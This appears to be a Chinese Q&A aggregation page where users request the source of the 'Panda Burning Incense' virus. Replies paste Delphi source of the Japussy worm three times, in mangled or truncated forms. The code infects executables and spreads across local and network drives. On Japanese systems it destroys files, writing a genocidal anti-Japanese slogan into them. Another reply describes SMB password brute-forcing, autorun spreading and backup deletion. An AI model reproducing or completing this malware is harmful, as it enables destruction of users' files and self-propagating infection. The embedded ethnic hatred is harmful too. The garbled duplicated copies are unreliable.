{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之?
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
把我說的..空格刪去,,然後保存到C盤任何路徑下..你大概就能得熊貓燒香變種

㈧ 請問誰能告訴我「熊貓燒香」的原代碼啊

我只得到部分...
代碼:--------------------------------------------------------------------------------
程序代碼
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.

~~~~~~~~~~~~~~~~~~~~~~~~

完畢!

㈨ 我想開發一個軟體,跟熊貓燒香差不多,運行後exe圖標全部變成我自己設置的圖標。要用易語言寫求源碼

病毒簡介

熊貓燒香(病毒將不感染文件名如下的文件):

setup.exe

病毒將使用兩類感染方式應對不同後綴的文件名進行感染

1)二進制可執行文件(後綴名為:EXE,SCR,PIF,COM): 將感染目標文件和病毒溶合成一個文件(被感染文件貼在病毒文件尾部)完成感染.

2)腳本類(後綴名為:htm,html,asp,php,jsp,aspx): 在這些腳本文件尾加上如下鏈接(下邊的頁面存在安全漏洞):

<iframe src=></iframe>

在感染時會刪除這些磁碟上的後綴名為.GHO的Ghost備份文件

生成文件

病毒建立一個計時器,以6秒為周期在磁碟的根目錄下生成setup.exe(病毒本身)autorun.inf,並利用AutoRun Open關聯使病毒在用戶點擊被感染磁碟時能被自動運行。

區域網傳播

病毒生成隨機個區域網傳播線程實現如下的傳播方式:

當病毒發現能成功聯接攻擊目標的139或445埠後,將使用內置的一個用戶列表及密碼字典進行聯接(猜測被攻擊端的密碼)。當成功聯接上以後將自己復制過去,並利用計劃任務啟動激活病毒。

修改操作系統的啟動關聯

下載文件啟動

與殺毒軟體對抗

㈩ 誰有熊貓燒香的源代碼,給我發一份

轉自:http://bbs.54master.com/thread-147112-1-2.html

熊貓燒香 - 核心源碼 Delphi版本
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責
代碼:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end

熱點內容
中文解壓縮文件 發布:2024-05-06 05:13:24 瀏覽:195
android簡訊刪除 發布:2024-05-06 04:58:42 瀏覽:259
安卓手機236開發者選項在哪裡 發布:2024-05-06 04:11:13 瀏覽:260
sql過濾條件 發布:2024-05-06 04:05:18 瀏覽:563
ifconfiglinux 發布:2024-05-06 03:47:59 瀏覽:533
c語言開發集成環境 發布:2024-05-06 03:47:06 瀏覽:607
腳本uzi比賽視頻 發布:2024-05-06 03:46:19 瀏覽:824
php給文本框賦值 發布:2024-05-06 03:21:24 瀏覽:26
androidjsonkey 發布:2024-05-06 03:07:31 瀏覽:732
python主線程子線程 發布:2024-05-06 03:07:20 瀏覽:764